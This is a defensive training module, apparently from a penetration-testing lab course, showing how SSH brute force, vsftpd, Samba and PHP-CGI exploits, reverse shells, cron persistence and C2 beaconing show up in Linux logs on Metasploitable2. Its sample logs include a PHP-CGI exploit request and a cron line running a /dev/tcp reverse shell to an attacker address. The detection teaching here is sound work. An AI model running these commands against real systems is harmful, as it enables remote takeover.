

Module 4: Where Attacks Manifest in Logs

Why This Matters

This section walks through the log sources on a Linux target and shows what some attack technique looks like from the defender's perspective.

Log Sources on Metasploitable2 / Linux

`/var/log/auth.log` - Authentication Events

This records login attempts, successful sessions, sudo usage, and PAM events.

PAM (Pluggable Authentication Modules) is the Linux subsystem that handles authentication for most programs — SSH, sudo, login, su, and others all delegate the actual credential check to PAM. Rather than each application implementing its own password verification, they call into PAM, which loads a stack of configurable modules (e.g., `pam_unix` for local passwords, `pam_ldap` for directory authentication). The `pam_unix(sshd:session)` lines you see in `auth.log` mean: the PAM module `pam_unix`, called by the `sshd` service, for a session event. This indirection is why auth events from different services all appear in one place.

What a brute force looks like:

```
Mar 31 09:12:44 metasploitable sshd[1234]: Failed password for msfadmin
from 192.168.1.10 port 45678 ssh2
Mar 31 09:12:44 metasploitable sshd[1234]: Failed password for msfadmin
from 192.168.1.10 port 45679 ssh2
Mar 31 09:12:44 metasploitable sshd[1234]: Failed password for msfadmin
from 192.168.1.10 port 45680 ssh2
Mar 31 09:12:45 metasploitable sshd[1234]: Failed password for root from
192.168.1.10 port 45681 ssh2
...
```

Indicators:

- Many failures from the same source IP in a short time window
- Failures across multiple usernames (dictionary attack)
- Rapid succession (possibly hundreds of attempts per minute)

What a successful SSH login looks like:

```
Mar 31 09:13:01 metasploitable sshd[1289]: Accepted password for msfadmin
from 192.168.1.10 port 52341 ssh2
Mar 31 09:13:01 metasploitable sshd[1289]: pam_unix(sshd:session): session
opened for user msfadmin by (uid=0)
```

What root access looks like:

```
Mar 31 09:15:22 metasploitable sudo: msfadmin : TTY=pts/0 ;  
PWD=/home/msfadmin ; USER=root ; COMMAND=/bin/bash  
Mar 31 09:15:22 metasploitable sudo: pam_unix(sudo:session): session opened  
for user root by msfadmin(uid=1000)
```

What an SSH key login looks like (persistence):

```
Mar 31 10:22:15 metasploitable sshd[2001]: Accepted publickey for msfadmin  
from 192.168.1.10 port 53200 ssh2
```

After uploading a backdoor key, logins switch from "password" to "publickey" is a change that may stand out if the account was previously always logging in with a password.

/var/log/vsftpd.log - FTP Events

Records connections to the vsftpd FTP server.

What the vsftpd exploit connection looks like:

```
Mon Mar 31 09:10:00 2025 [pid 987] CONNECT: Client "192.168.1.10"  
Mon Mar 31 09:10:00 2025 [pid 987] [ftp] FAIL LOGIN: Client "192.168.1.10"
```

The backdoor trigger (sending **USER** with a :) smiley) appears as a failed login. The actual backdoor shell opens on port 6200 without any FTP log entry - but the TCP connection to port 6200 is visible in network traffic.

/var/log/apache2/access.log - HTTP Requests

Records every HTTP request to the Apache web server. This is where PHP-CGI RCE attempts appear.

What a normal request looks like:

```
192.168.1.10 - - [31/Mar/2025:09:05:00 +0000] "GET / HTTP/1.1" 200 3985 "-"  
"curl/7.88.1"
```

What the PHP-CGI RCE exploit (CVE-2012-1823) looks like:

```
192.168.1.10 - - [31/Mar/2025:09:11:33 +0000] "GET /?-  
d+allow_url_include%3D1+-d+auto_prepend_file%3Dphp://input HTTP/1.1" 200 -  
"-" "Mozilla/5.0"
```

Indicators:

- Request URI starting with `/?-d+` or `/?-s` is a strong PHP-CGI exploitation indicator
- `allow_url_include`, `auto_prepend_file`, `php://input` in the query string
- Content-Type: `application/x-www-form-urlencoded` with PHP code in the body

Samba Logs - `/var/log/samba/`

Samba logs its connections and authentication events in this directory.

What the Samba `usermap_script` exploit (CVE-2007-2447) looks like:

```
[2025/03/31 09:12:15.123456, 0] smbd/service.c:1124(make_connection)
  connect_to_service: Service 'tmp' failed
```

The exploit uses a crafted username containing shell metacharacters. The username field in the Samba log will contain the injected command string, a highly unusual value for a username.

Process Table: No Logs, But Always Visible

Process creation is not logged by default on Metasploitable2, but the process table is always available to anyone with a session. A reverse shell or implant will show up here.

What a reverse shell process looks like:

```
ps aux
# You may see entries like:
# www-data 1337 0.0 0.1 /bin/sh -i
# msfadmin 1338 0.0 0.2 python -c import pty; pty.spawn('/bin/bash')
```

Indicators:

- `/bin/sh` or `/bin/bash` with no associated terminal (no `tty`)
- Processes owned by web server users (`www-data`, `nobody`) running shells
- Python/perl/ruby spawning shells

`www-data` and `nobody` are low-privilege service accounts that are never intended to run interactive shells or spawn child processes. `www-data` is the user Apache (and most web servers on Debian/Ubuntu) runs as, it has read access to web content but should have no write access to system directories and no login shell. `nobody` is a similar catch-all account with minimal permissions, used by some services or some daemons when they want to drop privileges entirely. Neither account should appear as the owner of a shell process.

`auditd` (the Linux Audit Daemon) is a kernel-level logging framework that records security-relevant events at the system call level, far below what application logs capture. It can log every file open, every process

creation (with full command line and parent PID), every privilege change, and every network connection. Unlike application logs, auditd cannot be silenced by the application itself because the kernel writes the events directly. Rules are configured in `/etc/audit/rules.d/` and written to `/var/log/audit/audit.log`. The `ausearch` and `aureport` tools query the log. Because of its depth, auditd is used as the foundation for host-based intrusion detection.

An EDR (Endpoint Detection and Response) agent is a security product that runs as a privileged process or kernel module on each host. It continuously monitors process creation, network connections, file writes, and registry changes, streaming telemetry to a cloud backend where behavioral detection rules and ML models flag suspicious activity. EDRs go beyond static log files: they correlate events across time, detect process injection and memory manipulation, and can terminate processes or isolate the host in response. In an EDR-monitored environment, process creation events include the full command line, parent-child relationships, and hash of the executable, making it more difficult to run a reverse shell without triggering an alert.

Network Connections: The Reverse Shell Footprint

The clearest indicator of an active reverse shell or C2 session is an unexpected outbound TCP connection.

What it looks like with `ss` or `netstat`:

```
ss -tn state established
# ESTAB  0   0  192.168.1.105:4444  192.168.1.10:55234
```

Indicators:

- Outbound connection to an external IP on a high port (4444, 4445, 31337, 1337, 8443 etc.)
- Long-lived connection with no associated known service
- Connection from a process owned by a web server or application user

What periodic Sliver beaconing looks like:

A beacon checks in at regular intervals (e.g., every 30 seconds). In network flow data, this appears as a pattern of outbound HTTPS connections to the same destination IP, evenly spaced - which looks unusual for a server that should not be initiating HTTPS connections.

Additional Log Sources Relevant for Attack Detection

The logs above are the most directly visible on Metasploitable2. On a hardened or production Linux system, several more sources are relevant.

`/var/log/syslog` and `/var/log/kern.log`

`syslog` is the general-purpose catch-all for system messages from the kernel, daemons, and applications that do not have their own dedicated log file. If a service crashes, starts unexpectedly, or throws an error, it usually ends up here. `kern.log` contains kernel-only messages including hardware errors and kernel module loads.

`/var/log/audit/audit.log` (auditd)

The raw output of the Linux Audit Daemon (described above). Each line is a structured record with a type and key-value fields:

```
type=EXECVE msg=audit(1711875134.512:4821): argc=3 a0="python" a1="-c"
a2="import pty; pty.spawn('/bin/bash')"
type=SYSCALL msg=audit(1711875134.512:4821): arch=c0000003e syscall=59
success=yes exe="/usr/bin/python" pid=2341 ppid=1337 uid=33 ...
```

- `uid=33` is `www-data` on Debian/Ubuntu systems, a shell spawned by the web server process
- `ppid=1337` links this process back to its parent (the Apache worker that was exploited)
- `syscall=59` is `execve`, the system call used to run any new program

On most Metasploitable2 setups auditd is not installed, but this is what defenders rely on in real environments.

`/var/log/wtmp` and `/var/log/btmp`

These are binary files that record successful logins (`wtmp`) and failed login attempts (`btmp`). They are not human-readable directly but are queried with `last` and `lastb`:

```
last          # successful logins and reboots from wtmp
lastb         # failed login attempts from btmp (requires root)
```

Attackers sometimes clear or truncate these files to erase their login history. A truncated or zero-byte `wtmp` is itself a detection signal.

`/var/log/cron` or `cron` entries in syslog

Cron job execution is logged here. If an attacker installs a persistence cron entry (e.g., a reverse shell that reconnects every minute), each execution will appear:

```
Apr  1 03:00:01 target CRON[4512]: (root) CMD (/bin/bash -i >&
/dev/tcp/192.168.1.10/4444 0>&1)
```

New cron entries in `/etc/cron.d/`, `/etc/crontab`, or user crontabs (`crontab -l`) are a direct persistence artifact.

Application logs beyond Apache

Depending on what is running, other application logs may reveal exploitation:

Log path	Service	What to look for
----------	---------	------------------

Log path	Service	What to look for
<code>/var/log/mysql/error.log</code>	MySQL / MariaDB	Authentication failures, unexpected LOAD DATA INFILE or INTO OUTFILE queries
<code>/var/log/postgresql/</code>	PostgreSQL	Failed auth, COPY TO/FROM , privilege changes
<code>/var/log/nginx/access.log</code>	Nginx	Same indicators as Apache access log
<code>/var/log/tomcat*/catalina.out</code>	Tomcat	Java exceptions from exploit attempts, JSP webshell requests
<code>/root/.bash_history,</code> <code>~user/.bash_history</code>	Bash shell	Commands run interactively; attackers often clear or redirect this file

Summary: Defender Detection Opportunities by Technique

Attack Step	Where It Appears	What to Look For
SSH brute force	<code>/var/log/auth.log,</code> <code>/var/log/btmp</code>	Many "Failed password" from same IP; lastb output
SSH successful login	<code>/var/log/auth.log,</code> <code>/var/log/wtmp</code>	"Accepted password/publickey"; last output
SSH key persistence	<code>/var/log/auth.log,</code> <code>~/.ssh/authorized_keys</code>	New authorized key file entries; switch to publickey auth
vsftpd exploit	<code>/var/log/vsftpd.log</code> + network	Failed FTP login + new connection to port 6200
Samba exploit	<code>/var/log/samba/</code>	Unusual username with shell metacharacters
PHP-CGI RCE	<code>/var/log/apache2/access.log</code>	Requests with ?-d+ in URI
Reverse shell callback	Network flows, <code>ss -tn,</code> <code>/proc/net/tcp</code>	Outbound high-port TCP from server
Active session	<code>ps aux,</code> <code>auditd</code>	Shell process owned by low-privilege user (www-data, nobody)
Cron backdoor	<code>/var/log/cron,</code> <code>/etc/cron.d/,</code> crontab files	New/modified cron entries; periodic shell execution in cron log
New backdoor user	<code>/etc/passwd,</code> <code>/var/log/auth.log</code>	New uid entry; new login events
<code>/etc/shadow</code> access	<code>auditd</code> (if enabled)	File read by non-root or unexpected user (execve + file open syscalls)
Meterpreter / Sliver C2	Network flows	Long-lived or periodic outbound TCP/HTTPS

Attack Step	Where It Appears	What to Look For
Login history cleared	<code>/var/log/wtmp</code> size	Zero-byte or truncated <code>wtmp/btmp</code>
Interactive commands run	<code>~/.bash_history</code>	Commands run after gaining a shell; missing or empty history is also suspicious

Exercise: Read Your Own Logs

After gaining access, run these commands from inside your *interactive* session to see your attack's footprint:

```
# Read auth.log to see your own brute force or login
- type: msf-session
  cmd: tail -30 /var/log/auth.log
  session: my_session

# Read apache access log if you used the PHP-CGI exploit
- type: msf-session
  cmd: tail -20 /var/log/apache2/access.log
  session: my_session

# See all active network connections (your reverse shell is here)
- type: msf-session
  cmd: ss -tn
  session: my_session

# Check for other suspicious processes
- type: msf-session
  cmd: ps aux --sort=pid
  session: my_session
```

Further Reading

- [auditd documentation](#) - Linux audit framework for process and file access logging
- [Linux PAM documentation](#) - how PAM modules and stacks work
- [MITRE D3FEND](#) - defensive countermeasures mapped to ATT&CK techniques
- [Sigma rules](#) - open standard for writing detection rules against log sources (many cover the techniques in this module)